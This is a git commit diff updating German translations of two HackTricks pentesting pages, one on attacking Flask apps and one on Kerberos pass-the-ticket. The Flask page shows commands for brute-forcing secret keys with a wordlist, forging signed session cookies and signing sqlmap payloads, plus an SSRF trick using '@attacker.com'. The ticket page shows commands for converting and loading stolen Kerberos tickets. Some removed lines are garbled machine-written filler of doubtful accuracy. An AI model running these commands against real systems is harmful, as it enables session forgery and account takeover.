Translated ['network-services-pentesting/pentesting-web/flask.md', 'wind

This commit is contained in:
Translator 2024-05-05 13:52:23 +00:00
parent 9f07937377
commit 78e7b48178
2 changed files with 40 additions and 103 deletions

View file

@ -2,30 +2,30 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
**Wahrscheinlich ist eine Flask-Anwendung in einem CTF mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** verbunden.**
**Wahrscheinlich ist bei einem CTF eine Flask-Anwendung mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** verbunden.**
## Cookies
Der Standardname für die Sitzungs-Cookie ist **`session`**.
Der Standardname der Cookie-Sitzung ist **`session`**.
### Decoder
@ -33,92 +33,33 @@ Online Flask-Cookie-Decoder: [https://www.kirsle.net/wizards/flask-session.cgi](
#### Manuell
Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64:
Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie es mit Base64>
```bash
echo "ImhlbGxvIg" | base64 -d
```
Der Cookie wird auch mit einem Passwort signiert
Die Cookie ist auch mit einem Passwort signiert
### **Flask-Unsign**
Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Raten von geheimen Schlüsseln.
Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Erraten von geheimen Schlüsseln.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Cookie entschlüsseln**
To decode a Flask session cookie, you can use the `itsdangerous` library. The session cookie is usually named `session` and is base64 encoded. The decoded cookie contains a serialized JSON object with the session data.
```python
import base64
import zlib
import json
from itsdangerous import URLSafeTimedSerializer
def decode_flask_cookie(secret_key, cookie_value):
signer = URLSafeTimedSerializer(secret_key)
try:
decoded_data = signer.loads(cookie_value)
decompressed_data = zlib.decompress(base64.b64decode(decoded_data))
session_data = json.loads(decompressed_data)
return session_data
except Exception as e:
print(f"Error decoding cookie: {e}")
return None
```
To use this function, you need to provide the secret key used to sign the cookie and the value of the cookie itself. The function will return the decoded session data as a Python dictionary.
```python
secret_key = "your_secret_key"
cookie_value = "your_cookie_value"
decoded_session = decode_flask_cookie(secret_key, cookie_value)
print(decoded_session)
```
Remember to replace `"your_secret_key"` with the actual secret key used by the Flask application and `"your_cookie_value"` with the value of the session cookie you want to decode.
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
Brute Force ist eine Methode, bei der ein Angreifer systematisch alle möglichen Kombinationen von Benutzernamen und Passwörtern ausprobiert, um Zugriff auf ein System zu erlangen. Diese Methode kann verwendet werden, um die Sicherheit von Webanwendungen zu testen, indem sie versucht, sich mit verschiedenen Kombinationen von Anmeldeinformationen anzumelden. Es ist wichtig zu beachten, dass Brute Force-Angriffe zeitaufwändig sein können und dass die Erfolgschancen von Faktoren wie der Länge und Komplexität der Passwörter abhängen. Es wird empfohlen, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie Kontosperrungen nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute Force-Angriffe zu erschweren.
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Signierung**
The signing process ensures the integrity and authenticity of data. It involves using a private key to generate a digital signature, which can be verified using the corresponding public key. This ensures that the data has not been tampered with and that it originated from the expected source.
Die Signierung stellt die Integrität und Authentizität von Daten sicher. Dabei wird ein privater Schlüssel verwendet, um eine digitale Signatur zu generieren, die mithilfe des entsprechenden öffentlichen Schlüssels überprüft werden kann. Dadurch wird sichergestellt, dass die Daten nicht manipuliert wurden und von der erwarteten Quelle stammen.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signieren mit veralteten (alten Versionen)
In einigen älteren Versionen von Flask wurde die Signaturfunktion `sign` verwendet, um Daten zu signieren. Diese Funktion ist jedoch anfällig für verschiedene Angriffe und sollte nicht mehr verwendet werden. Stattdessen sollte die sicherere Funktion `signer` verwendet werden, die in neueren Versionen von Flask verfügbar ist.
Um die `signer`-Funktion zu verwenden, müssen Sie zuerst ein Signierungsobjekt erstellen. Dies kann mit dem `itsdangerous`-Modul erfolgen, das in Flask enthalten ist. Verwenden Sie den folgenden Code, um ein Signierungsobjekt zu erstellen:
```python
from itsdangerous import URLSafeTimedSerializer
secret_key = "geheimeschluessel"
signer = URLSafeTimedSerializer(secret_key)
```
Sobald Sie das Signierungsobjekt erstellt haben, können Sie die `dumps`-Methode verwenden, um Daten zu signieren, und die `loads`-Methode, um die signierten Daten zu überprüfen und wiederherzustellen. Hier ist ein Beispiel, wie Sie die `dumps`- und `loads`-Methoden verwenden können:
```python
data = "zu signierende daten"
signed_data = signer.dumps(data)
restored_data = signer.loads(signed_data)
```
Stellen Sie sicher, dass Sie den geheimen Schlüssel sicher aufbewahren und nicht in öffentlichen Repositories oder in der Produktionsumgebung speichern.
#### Signierung mit alten Versionen (Legacy)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
@ -132,17 +73,17 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
```
### SQLi in Flask Session-Cookie mit SQLmap
[**Dieses Beispiel**](../../pentesting-web/sql-injection/sqlmap/#eval) verwendet die sqlmap `eval`-Option, um automatisch sqlmap-Payloads für Flask mit einem bekannten Geheimnis zu signieren.
[**Dieses Beispiel**](../../pentesting-web/sql-injection/sqlmap/#eval) verwendet die sqlmap `eval`-Option, um **sqlmap-Payloads** für Flask automatisch mit einem bekannten Geheimnis zu signieren.
## Flask-Proxy zu SSRF
[**In diesem Artikel**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:
[**In diesem Bericht**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Welches Szenario ist in folgendem Fall gegeben:
Welches in dem folgenden Szenario:
```python
from flask import Flask
from requests import get
@ -157,27 +98,25 @@ return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Es könnte ermöglichen, etwas wie "@attacker.com" einzuführen, um einen **SSRF** zu verursachen.
Könnte es ermöglichen, etwas wie "@attacker.com" einzuführen, um einen **SSRF** zu verursachen.
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask), um mithilfe der weltweit **fortschrittlichsten** Community-Tools einfach Workflows zu erstellen und zu **automatisieren**.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erfahren Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
@ -10,21 +10,21 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
## Ticket weitergeben (PTT)
Bei der **Ticket weitergeben (PTT)**-Angriffsmethode **stehlen Angreifer das Authentifizierungsticket eines Benutzers**, anstatt deren Passwort oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu imitieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
Bei der **Ticket weitergeben (PTT)**-Angriffsmethode **stehlen Angreifer das Authentifizierungsticket eines Benutzers** anstelle ihres Passworts oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu imitieren**, unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
**Lesen Sie**:
@ -41,9 +41,7 @@ Converting ccache => kirbi
python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```
### Pass-the-Ticket-Angriff
In Windows kann [Kekeo](https://github.com/gentilkiwi/kekeo) verwendet werden.
### Pass-The-Ticket-Angriff
{% code title="Linux" %}
```bash
@ -66,13 +64,13 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket), um einfach **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
<details>
@ -81,9 +79,9 @@ Erhalten Sie noch heute Zugriff:
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
</details>